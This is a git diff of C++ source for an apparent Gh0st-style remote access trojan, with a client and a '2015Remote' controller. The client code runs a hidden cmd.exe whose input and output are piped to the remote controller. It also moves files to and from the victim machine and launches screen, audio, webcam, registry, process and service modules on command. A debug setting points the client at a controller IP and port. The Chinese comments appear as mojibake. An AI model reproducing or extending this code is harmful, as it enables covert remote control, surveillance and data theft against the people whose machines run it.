0; + + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER); + // Token, Сƫƣļ + lpPacket[0] = TOKEN_FILE_DATA; + memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE)); + ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL); + CloseHandle(hFile); + + if (nNumberOfBytesRead > 0) + { + int nPacketSize = nNumberOfBytesRead + nHeadLength; + nRet = Send(lpPacket, nPacketSize); + } + else + { + UploadNext(); + } + + LocalFree(lpPacket); + + return nRet; +} + +// һļ +void CFileManager::UploadNext() +{ + list ::iterator it = m_UploadList.begin(); + // ɾһ + m_UploadList.erase(it); + // ϴ + if(m_UploadList.empty()) + { + SendToken(TOKEN_TRANSFER_FINISH); + } + else + { + // ϴһ + it = m_UploadList.begin(); + SendFileSize((*it).c_str()); + } +} + +int CFileManager::SendToken(BYTE bToken) +{ + return Send(&bToken, 1); +} + +bool CFileManager::UploadToRemote(LPBYTE lpBuffer) +{ + + if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\') + { + FixedUploadList((char *)lpBuffer); + if (m_UploadList.empty()) + { + StopTransfer(); + return true; + } + } + else + { + m_UploadList.push_back((char *)lpBuffer); + } + + list ::iterator it = m_UploadList.begin(); + // ͵һļ + SendFileSize((*it).c_str()); + + return true; +} + +bool CFileManager::FixedUploadList(LPCTSTR lpPathName) +{ + WIN32_FIND_DATA wfd; + char lpszFilter[MAX_PATH]; + char *lpszSlash = NULL; + memset(lpszFilter, 0, sizeof(lpszFilter)); + + if (lpPathName[lstrlen(lpPathName) - 1] != '\\') + lpszSlash = "\\"; + else + lpszSlash = ""; + + wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash); + + HANDLE hFind = FindFirstFile(lpszFilter, &wfd); + if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + return false; + + do + { + if (wfd.cFileName[0] != '.') + { + if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + char strDirectory[MAX_PATH]; + wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName); + FixedUploadList(strDirectory); + } + else + { + char strFile[MAX_PATH]; + wsprintf(strFile, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName); + m_UploadList.push_back(strFile); + } + } + } while (FindNextFile(hFind, &wfd)); + + FindClose(hFind); // رղҾ + return true; +} + +void CFileManager::StopTransfer() +{ + if (!m_UploadList.empty()) + m_UploadList.clear(); + SendToken(TOKEN_TRANSFER_FINISH); +} + +void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer) +{ + FILESIZE *pFileSize = (FILESIZE *)lpBuffer; + // 浱ǰڲļ + memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName)); + strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8); + + // ļ + m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + 1)) + pFileSize->dwSizeLow; + + // Ŀ¼ + MakeSureDirectoryPathExists(m_strCurrentProcessFileName); + + WIN32_FIND_DATA FindFileData; + HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData); + + if (hFind != INVALID_HANDLE_VALUE + && m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL + && m_nTransferMode != TRANSFER_MODE_ADDITION_ALL + && m_nTransferMode != TRANSFER_MODE_JUMP_ALL + ) + { + SendToken(TOKEN_GET_TRANSFER_MODE); + } + else + { + GetFileData(); + } + FindClose(hFind); +} + +void CFileManager::GetFileData() { int nTransferMode; - switch (m_ulTransferMode) //ûͬDzCaseе + switch (m_nTransferMode) { case TRANSFER_MODE_OVERWRITE_ALL: nTransferMode = TRANSFER_MODE_OVERWRITE; break; + case TRANSFER_MODE_ADDITION_ALL: + nTransferMode = TRANSFER_MODE_ADDITION; + break; case TRANSFER_MODE_JUMP_ALL: - nTransferMode = TRANSFER_MODE_JUMP; //CreateFilealways openeixt + nTransferMode = TRANSFER_MODE_JUMP; break; default: - nTransferMode = m_ulTransferMode; //1. 2 3 + nTransferMode = m_nTransferMode; } - - WIN32_FIND_DATA wfa; - HANDLE hFind = FindFirstFile(m_szOperatingFileName, &wfa); - - //1ֽToken,ֽƫƸλֽƫƵλ + + WIN32_FIND_DATA FindFileData; + HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData); + + // 1ֽToken,ֽƫƸλֽƫƵλ BYTE bToken[9]; DWORD dwCreationDisposition; // ļ򿪷ʽ memset(bToken, 0, sizeof(bToken)); bToken[0] = TOKEN_DATA_CONTINUE; + // ļѾ if (hFind != INVALID_HANDLE_VALUE) { - // - if (nTransferMode == TRANSFER_MODE_OVERWRITE) + // ʾʲô + // + if (nTransferMode == TRANSFER_MODE_ADDITION) { - //ƫ0 - memset(bToken + 1, 0, 8);//0000 0000 + memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4); + memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4); + dwCreationDisposition = OPEN_EXISTING; + } + // + else if (nTransferMode == TRANSFER_MODE_OVERWRITE) + { + // ƫ0 + memset(bToken + 1, 0, 8); // ´ - dwCreationDisposition = CREATE_ALWAYS; //и - + dwCreationDisposition = CREATE_ALWAYS; } // һ - else if(nTransferMode == TRANSFER_MODE_JUMP) + else if (nTransferMode == TRANSFER_MODE_JUMP) { - DWORD dwOffset = -1; //0000 -1 + DWORD dwOffset = -1; memcpy(bToken + 5, &dwOffset, 4); dwCreationDisposition = OPEN_EXISTING; } } else { - memset(bToken + 1, 0, 8); //0000 0000 //ûͬļߵ + // ƫ0 + memset(bToken + 1, 0, 8); // ´ - dwCreationDisposition = CREATE_ALWAYS; //һµļ + dwCreationDisposition = CREATE_ALWAYS; } FindClose(hFind); HANDLE hFile = CreateFile ( - m_szOperatingFileName, + m_strCurrentProcessFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, - dwCreationDisposition, // + dwCreationDisposition, FILE_ATTRIBUTE_NORMAL, 0 ); // Ҫ if (hFile == INVALID_HANDLE_VALUE) { - m_OperatingFileLength = 0; + m_nCurrentProcessFileLength = 0; return; } CloseHandle(hFile); - m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken)); + Send(bToken, sizeof(bToken)); +} + +void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize) +{ + // + BYTE *pData; + DWORD dwBytesToWrite; + DWORD dwBytesWrite; + int nHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 + FILESIZE *pFileSize; + // õݵƫ + pData = lpBuffer + 8; + + pFileSize = (FILESIZE *)lpBuffer; + + // õļеƫ + LONG dwOffsetHigh = pFileSize->dwSizeHigh; + LONG dwOffsetLow = pFileSize->dwSizeLow; + + dwBytesToWrite = nSize - 8; + + HANDLE hFile = + CreateFile + ( + m_strCurrentProcessFileName, + GENERIC_WRITE, + FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + 0 + ); + + SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); + + int nRet = 0; + // дļ + nRet = WriteFile + ( + hFile, + pData, + dwBytesToWrite, + &dwBytesWrite, + NULL + ); + CloseHandle(hFile); + // Ϊ˱Ƚϣ + BYTE bToken[9]; + bToken[0] = TOKEN_DATA_CONTINUE; + dwOffsetLow += dwBytesWrite; + memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); + memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); + Send(bToken, sizeof(bToken)); +} + +void CFileManager::SetTransferMode(LPBYTE lpBuffer) +{ + memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode)); + GetFileData(); +} + +void CFileManager::CreateFolder(LPBYTE lpBuffer) +{ + MakeSureDirectoryPathExists((char *)lpBuffer); + SendToken(TOKEN_CREATEFOLDER_FINISH); +} + +void CFileManager::Rename(LPBYTE lpBuffer) +{ + LPCTSTR lpExistingFileName = (char *)lpBuffer; + LPCTSTR lpNewFileName = lpExistingFileName + lstrlen(lpExistingFileName) + 1; + ::MoveFile(lpExistingFileName, lpNewFileName); + SendToken(TOKEN_RENAME_FINISH); } diff --git a/client/FileManager.h b/client/FileManager.h index eeadcb8..5b4225c 100644 --- a/client/FileManager.h +++ b/client/FileManager.h @@ -1,44 +1,60 @@ // FileManager.h: interface for the CFileManager class. // ////////////////////////////////////////////////////////////////////// +#include "IOCPClient.h" +#include "common.h" +typedef IOCPClient CClientSocket; -#if !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_) -#define AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_ +#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_) +#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_ +#include +#include +#include + +#include "Manager.h" +using namespace std; #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 -#include "Manager.h" -#include "IOCPClient.h" - - typedef struct { - DWORD dwSizeHigh; - DWORD dwSizeLow; -}FILE_SIZE; + UINT nFileSize; // ļС + UINT nSendSize; // ѷʹС +}SENDFILEPROGRESS, *PSENDFILEPROGRESS; -class CFileManager : public CManager + +class CFileManager : public CManager { public: - CFileManager(IOCPClient* ClientObject, int n); + void OnReceive(LPBYTE lpBuffer, UINT nSize); + UINT SendDriveList(); + CFileManager(CClientSocket *pClient, int h = 0); virtual ~CFileManager(); +private: + list m_UploadList; + UINT m_nTransferMode; + char m_strCurrentProcessFileName[MAX_PATH]; // ǰڴļ + __int64 m_nCurrentProcessFileLength; // ǰڴļij + bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath); + bool UploadToRemote(LPBYTE lpBuffer); + bool FixedUploadList(LPCTSTR lpszDirectory); + void StopTransfer(); + UINT SendFilesList(LPCTSTR lpszDirectory); + bool DeleteDirectory(LPCTSTR lpszDirectory); + UINT SendFileSize(LPCTSTR lpszFileName); + UINT SendFileData(LPBYTE lpBuffer); + void CreateFolder(LPBYTE lpBuffer); + void Rename(LPBYTE lpBuffer); + int SendToken(BYTE bToken); - VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - ULONG CFileManager::SendDiskDriverList() ; - ULONG CFileManager::SendFilesList(char* szDirectoryPath); - VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer); - - BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath); - char m_szOperatingFileName[MAX_PATH]; - __int64 m_OperatingFileLength; - VOID CFileManager::GetFileData() ; - VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength); - - ULONG m_ulTransferMode; - VOID CFileManager::SetTransferMode(LPBYTE szBuffer); - VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath); + void CreateLocalRecvFile(LPBYTE lpBuffer); + void SetTransferMode(LPBYTE lpBuffer); + void GetFileData(); + void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize); + void UploadNext(); + bool OpenFile(LPCTSTR lpFile, INT nShowCmd); }; -#endif // !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_) +#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_) diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index a64c299..331570e 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -338,9 +338,10 @@ VOID IOCPClient::Disconnect() } -VOID IOCPClient::RunEventLoop() +VOID IOCPClient::RunEventLoop(const BOOL &bCondition) { OutputDebugStringA("======> RunEventLoop begin\n"); - while (m_bIsRunning) Sleep(200); + while (m_bIsRunning && bCondition) + Sleep(200); OutputDebugStringA("======> RunEventLoop end\n"); } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 4a1f0ca..912fab9 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -54,7 +54,7 @@ public: VOID setManagerCallBack(class CManager* Manager); VOID Disconnect(); - VOID RunEventLoop(); + VOID RunEventLoop(const BOOL &bCondition); bool IsConnected() const { return m_bConnected; } public: diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 69dba74..429e7e0 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -11,12 +11,12 @@ CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject) { - memset(m_hThread, NULL, sizeof(ThreadInfo) * 0x1000); m_ulThreadCount = 0; } CKernelManager::~CKernelManager() { + printf("~CKernelManager \n"); int i = 0; for (i=0;i<0x1000;i++) { @@ -24,6 +24,9 @@ CKernelManager::~CKernelManager() { CloseHandle(m_hThread[i].h); m_hThread[i].h = NULL; + m_hThread[i].run = FALSE; + while (m_hThread[i].p) + Sleep(50); } } m_ulThreadCount = 0; @@ -40,7 +43,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopTalkManager, - pNew, 0, NULL);; + &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -48,7 +51,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopShellManager, - pNew, 0, NULL);; + &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -56,7 +59,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)LoopProcessManager, - pNew, 0, NULL);; + &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -64,14 +67,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopWindowManager, - pNew, 0, NULL);; + &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_BYE: { BYTE bToken = COMMAND_BYE; //ͷļ Common.h - m_ClientObject->OnServerSending((char*)&bToken, 1); + m_ClientObject->OnServerSending((char*)&bToken, 1); + OutputDebugStringA("======> Bye bye \n"); + m_hThread[m_ulThreadCount].p = NULL; + delete pNew; + pNew = NULL; break; } @@ -79,7 +86,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopScreenManager, - pNew, 0, NULL);; + &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -87,7 +94,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopFileManager, - pNew, 0, NULL);; + &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -95,7 +102,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopVideoManager, - pNew, 0, NULL);; + &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -103,7 +110,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopAudioManager, - pNew, 0, NULL);; + &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -111,7 +118,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopRegisterManager, - pNew, 0, NULL);; + &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -119,7 +126,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopServicesManager, - pNew, 0, NULL); + &m_hThread[m_ulThreadCount], 0, NULL); break; } diff --git a/client/KernelManager.h b/client/KernelManager.h index b0bd53e..873a160 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -15,9 +15,10 @@ // ߳Ϣṹ struct ThreadInfo { + BOOL run; HANDLE h; IOCPClient *p; - ThreadInfo() : h(NULL), p(NULL){ } + ThreadInfo() : run(TRUE), h(NULL), p(NULL){ } }; class CKernelManager : public CManager diff --git a/client/Manager.cpp b/client/Manager.cpp index 4117f94..515d1fd 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -26,6 +26,17 @@ CManager::~CManager() } } + +int CManager::Send(LPBYTE lpData, UINT nSize) +{ + int nRet = 0; + try + { + nRet = m_ClientObject->OnServerSending((char*)lpData, nSize); + }catch(...){}; + return nRet; +} + VOID CManager::WaitForDialogOpen() { WaitForSingleObject(m_hEventDlgOpen, INFINITE); diff --git a/client/Script.rc b/client/Script.rc index a0033af..8463eef 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -29,8 +29,6 @@ STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU CAPTION "Ϣʾ" FONT 10, "System", 0, 0, 0x0 BEGIN - DEFPUSHBUTTON "OK",IDOK,27,87,50,14 - PUSHBUTTON "Cancel",IDCANCEL,104,87,50,14 EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER END diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp index 145bf77..6fd0829 100644 --- a/client/ShellManager.cpp +++ b/client/ShellManager.cpp @@ -16,14 +16,15 @@ BOOL bStarting = TRUE; CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject) { + m_nCmdLength = 0; bStarting = TRUE; m_hThreadRead = NULL; m_hShellProcessHandle = NULL; //Cmd̵Ľ̾߳̾ m_hShellThreadHandle = NULL; - SECURITY_ATTRIBUTES sa = {0}; + SECURITY_ATTRIBUTES sa = {0}; sa.nLength = sizeof(sa); - sa.lpSecurityDescriptor = NULL; - sa.bInheritHandle = TRUE; //Ҫ + sa.lpSecurityDescriptor = NULL; + sa.bInheritHandle = TRUE; //Ҫ m_hReadPipeHandle = NULL; //client m_hWritePipeHandle = NULL; //client m_hReadPipeShell = NULL; //cmd @@ -40,9 +41,9 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj CloseHandle(m_hWritePipeShell); } return; - } - - if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) + } + + if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) { if(m_hWritePipeHandle != NULL) { @@ -53,10 +54,10 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj CloseHandle(m_hReadPipeShell); } return; - } + } //Cmd FullPath - char strShellPath[MAX_PATH] = {0}; + char strShellPath[MAX_PATH] = {0}; GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32 //C:\windows\system32\cmd.exe strcat(strShellPath,"\\cmd.exe"); @@ -68,19 +69,19 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj PROCESS_INFORMATION pi = {0}; //CreateProcess memset((void *)&si, 0, sizeof(si)); - memset((void *)&pi, 0, sizeof(pi)); + memset((void *)&pi, 0, sizeof(pi)); si.cb = sizeof(STARTUPINFO); //Ҫ - - si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; - si.hStdInput = m_hReadPipeShell; //ֵܵ - si.hStdOutput = si.hStdError = m_hWritePipeShell; + + si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.hStdInput = m_hReadPipeShell; //ֵܵ + si.hStdOutput = si.hStdError = m_hWritePipeShell; si.wShowWindow = SW_HIDE; //Cmd //3 ̳ - + if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) { @@ -89,7 +90,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj CloseHandle(m_hReadPipeShell); CloseHandle(m_hWritePipeShell); return; - } + } m_hShellProcessHandle = pi.hProcess; //Cmd̵Ľ̾߳̾ m_hShellThreadHandle = pi.hThread; @@ -124,9 +125,14 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam) //ȡܵ ReadFile(This->m_hReadPipeHandle, szTotalBuffer, dwTotal, &dwReturn, NULL); - - This->m_ClientObject->OnServerSending((char*)szTotalBuffer, dwReturn); - +#ifdef _DEBUG + printf("===> Input length= %d \n", This->m_nCmdLength); +#endif + const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength; + int length = int(dwReturn) - This->m_nCmdLength; + if (length > 0) + This->m_ClientObject->OnServerSending(pStart, length); + LocalFree(szTotalBuffer); } } @@ -140,31 +146,27 @@ VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { case COMMAND_NEXT: { - NotifyDialogIsOpen(); + NotifyDialogIsOpen(); break; - } + } default: - { + { + m_nCmdLength = (ulLength - 2);// "\r\n" unsigned long dwReturn = 0; - if(WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL)) - { - } - + WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL); break; } } } - - CShellManager::~CShellManager() { bStarting = FALSE; - + TerminateProcess(m_hShellProcessHandle, 0); //ԼCmd TerminateThread(m_hShellThreadHandle, 0); //ԼCmd߳ Sleep(100); - + if (m_hReadPipeHandle != NULL) { DisconnectNamedPipe(m_hReadPipeHandle); @@ -174,8 +176,8 @@ CShellManager::~CShellManager() if (m_hWritePipeHandle != NULL) { DisconnectNamedPipe(m_hWritePipeHandle); - CloseHandle(m_hWritePipeHandle); - m_hWritePipeHandle = NULL; + CloseHandle(m_hWritePipeHandle); + m_hWritePipeHandle = NULL; } if (m_hReadPipeShell != NULL) { @@ -186,7 +188,12 @@ CShellManager::~CShellManager() if (m_hWritePipeShell != NULL) { DisconnectNamedPipe(m_hWritePipeShell); - CloseHandle(m_hWritePipeShell); - m_hWritePipeShell = NULL; + CloseHandle(m_hWritePipeShell); + m_hWritePipeShell = NULL; + } + if (m_hThreadRead) + { + CloseHandle(m_hThreadRead); + m_hThreadRead = NULL; } } diff --git a/client/ShellManager.h b/client/ShellManager.h index 6e2e6b2..4daccf5 100644 --- a/client/ShellManager.h +++ b/client/ShellManager.h @@ -28,7 +28,7 @@ public: static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam); HANDLE m_hThreadRead; - + int m_nCmdLength; //  HANDLE m_hShellProcessHandle; //Cmd̵Ľ̾߳̾ HANDLE m_hShellThreadHandle; }; diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp index 0147ba1..3985e69 100644 --- a/client/TalkManager.cpp +++ b/client/TalkManager.cpp @@ -15,8 +15,8 @@ using namespace std; #define ID_TIMER_DELAY_DISPLAY 2 #define ID_TIMER_CLOSE_WINDOW 3 -#define WIN_WIDTH 120 -#define WIN_HEIGHT 120 +#define WIN_WIDTH 250 +#define WIN_HEIGHT 250 ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// diff --git a/client/ghost.vcxproj.user b/client/ghost.vcxproj.user index 55c1b76..e95cc70 100644 --- a/client/ghost.vcxproj.user +++ b/client/ghost.vcxproj.user @@ -2,7 +2,7 @@ WindowsLocalDebugger - 192.168.104.248 2356 + 192.168.104.250 2356 WindowsLocalDebugger diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 406960e7facd6979bfe5cd52e8aecf681bfd2531..5a4c95365d392ae2ff4fcf416c59260dd2eec789 100644 GIT binary patch delta 78 zcmezJovGmm(*~ai_DF_A249B6$&8KSlLaE=CQpedm>d?Rz^=!T%22_O3KbWd>=U^J LoA_pns6B}Q`;!>U delta 42 tcmZqp!Sv-j(*~c2$rHAUOm2$OncNUj0cHzCnN0SHTmoWm7Kr+g2mrA_6L|mt diff --git a/server/2015Remote/2015Remote.vcxproj b/server/2015Remote/2015Remote.vcxproj index 81165a0..f195400 100644 --- a/server/2015Remote/2015Remote.vcxproj +++ b/server/2015Remote/2015Remote.vcxproj @@ -14,6 +14,7 @@ {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5} My2015Remote MFCProj + Yama diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 2b3b276..5313383 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -27,6 +27,7 @@ #define UM_ICONNOTIFY WM_USER+100 std::vector v_FileDlg; +std::vector v_RegDlg; enum { @@ -128,6 +129,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent /*=NULL*/) CMy2015RemoteDlg::~CMy2015RemoteDlg() { + Sleep(200); EnterCriticalSection(&m_cs); for (std::vector::iterator iter = v_FileDlg.begin(); iter != v_FileDlg.end(); ++iter) @@ -138,6 +140,15 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg() Sleep(1); delete cur; } + for (std::vector::iterator iter = v_RegDlg.begin(); + iter != v_RegDlg.end(); ++iter) + { + CRegisterDlg *cur = *iter; + ::SendMessage(cur->GetSafeHwnd(), WM_CLOSE, 0, 0); + while (false == cur->m_bIsClosed) + Sleep(1); + delete cur; + } LeaveCriticalSection(&m_cs); DeleteCriticalSection(&m_cs); } @@ -187,6 +198,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog) ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog) ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog) + ON_WM_HELPINFO() END_MESSAGE_MAP() @@ -1088,7 +1100,8 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) case FILEMANAGER_DLG: { CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg; - delete Dlg; + ::SendMessage(Dlg->GetSafeHwnd(), WM_CLOSE, 0, 0); + //delete Dlg; ⴦ break; } case REGISTER_DLG: @@ -1243,6 +1256,21 @@ LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam) ContextObject->v1 = REGISTER_DLG; ContextObject->hDlg = Dlg; + EnterCriticalSection(&m_cs); + for (std::vector::iterator iter = v_RegDlg.begin(); + iter != v_RegDlg.end(); ) + { + CRegisterDlg *cur = *iter; + if (cur->m_bIsClosed) + { + delete cur; + iter = v_RegDlg.erase(iter); + }else{ + ++iter; + } + } + v_RegDlg.push_back(Dlg); + LeaveCriticalSection(&m_cs); return 0; } @@ -1262,3 +1290,21 @@ LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam) return 0; } + + +BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo) +{ + MessageBox("Copyleft (c) FTU 2019", ""); + return TRUE; +} + + +BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg) +{ + if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN) + { + return TRUE; + } + + return CDialogEx::PreTranslateMessage(pMsg); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index fbc5944..36bb445 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -101,4 +101,6 @@ public: afx_msg LRESULT OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam); + afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); + virtual BOOL PreTranslateMessage(MSG* pMsg); }; diff --git a/server/2015Remote/AudioDlg.cpp b/server/2015Remote/AudioDlg.cpp index 0a3b499..5f1aeec 100644 --- a/server/2015Remote/AudioDlg.cpp +++ b/server/2015Remote/AudioDlg.cpp @@ -17,6 +17,7 @@ CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *Cont { m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_AUDIO)); //ͼ m_bIsWorking = TRUE; + m_bThreadRun = FALSE; m_iocpServer = IOCPServer; //ΪijԱֵ m_ContextObject = ContextObject; m_hWorkThread = NULL; @@ -31,6 +32,9 @@ CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *Cont CAudioDlg::~CAudioDlg() { + m_bIsWorking = FALSE; + while (m_bThreadRun) + Sleep(50); } void CAudioDlg::DoDataExchange(CDataExchange* pDX) @@ -64,6 +68,8 @@ BOOL CAudioDlg::OnInitDialog() //߳ жCheckBox m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL); + m_bThreadRun = m_hWorkThread ? TRUE : FALSE; + return TRUE; // return TRUE unless you set the focus to a control // 쳣: OCX ҳӦ FALSE } @@ -76,7 +82,7 @@ DWORD 